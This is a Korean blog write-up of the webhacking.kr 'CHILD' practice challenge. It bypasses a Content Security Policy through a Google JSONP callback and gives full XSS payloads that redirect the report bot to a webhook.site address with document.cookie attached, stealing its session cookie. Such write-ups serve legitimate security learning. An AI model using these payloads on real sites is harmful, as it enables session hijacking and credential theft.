ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

[Webhacking.kr] CHILD write-up
write-up(web)/webhacking.kr

[Webhacking.kr] CHILD write-up

2022. 9. 3. 10:20

문제 화면입니다.

inject 파라미터에 넣은 값이 html 코드에 적용됩니다.

[Error Report]를 클릭하면 리포트 페이지가 나옵니다.

URL을 제출하면 봇이 읽어줍니다.

우선 xss 공격임을 직감하고 <script>alert(1);</script>를 넣어보면

CSP 정책에 의해 막히게 됩니다.

script 태그 안에 코드를 적는 inline script는 사용할 수 없고

script 태그의 src가 *.google.com 이어야 합니다.

 

CSP 정책을 우회하는데 jsonp가 사용되는데 아래 사이트를 보면 src가 구글인 스크립트 코드가 적혀 있습니다.

https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt

 

GitHub - zigoo0/JSONBee: A ready to use JSONP endpoints/payloads to help bypass content security policy (CSP) of different websi

A ready to use JSONP endpoints/payloads to help bypass content security policy (CSP) of different websites. - GitHub - zigoo0/JSONBee: A ready to use JSONP endpoints/payloads to help bypass content...

github.com

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>

위 코드를 사용하면 alert가 정상적으로 실행됩니다.

callback에는 함수뿐만 아니라 속성도 적용시킬 수 있습니다.

따라서 봇이 URL을 읽을 때 웹훅으로 리다이렉트 시켜서 쿠키 값을 알아낼 수 있습니다.

callback=location.href='웹훅주소'+document.cookie;

(세미콜론이 없을 때 웹훅으로 안 넘어옴..)

 

이 때 url 인코딩을 두 번 해줘야 합니다.

url로 전송해줄 때 url 디코딩이 되고

봇이 url을 실행시킬 때 url이 디코딩되서

총 두 번의 디코딩 과정이 있는 것 같습니다.

(정확하지 않을 수 있습니다)

 

+document.cookie를 두 번 인코딩하면 아래와 같이됩니다.

?inject=<script src="https://accounts.google.com/o/oauth2/revoke?callback=location.href='https://webhook.site/88e71506-a931-426e-9d5b-2449b0a83ec5?'%25%32%42%25%36%34%25%36%46%25%36%33%25%37%35%25%36%44%25%36%35%25%36%45%25%37%34%25%32%45%25%36%33%25%36%46%25%36%46%25%36%42%25%36%39%25%36%35;">

플래그가 나왔습니다!


참고로 익명 함수로도 가능합니다.

?inject=<script src="https://accounts.google.com/o/oauth2/revoke?callback=(function(a){location.href='https://webhook.site/88e71506-a931-426e-9d5b-2449b0a83ec5?'%25%32%42%25%36%34%25%36%46%25%36%33%25%37%35%25%36%44%25%36%35%25%36%45%25%37%34%25%32%45%25%36%33%25%36%46%25%36%46%25%36%42%25%36%39%25%36%35;})">

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] Challenge old-25 write-up  (0) 2022.09.19
[Webhacking.kr] Challenge old-22 write-up  (0) 2022.09.17
[Webhacking.kr] Challenge old-50 write-up  (0) 2022.08.27
[Webhacking.kr] Challenge old-45 write-up  (0) 2022.08.26
[Webhacking.kr] Challenge old-51 write-up  (0) 2022.08.20
    'write-up(web)/webhacking.kr' 카테고리의 다른 글
    • [Webhacking.kr] Challenge old-25 write-up
    • [Webhacking.kr] Challenge old-22 write-up
    • [Webhacking.kr] Challenge old-50 write-up
    • [Webhacking.kr] Challenge old-45 write-up
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바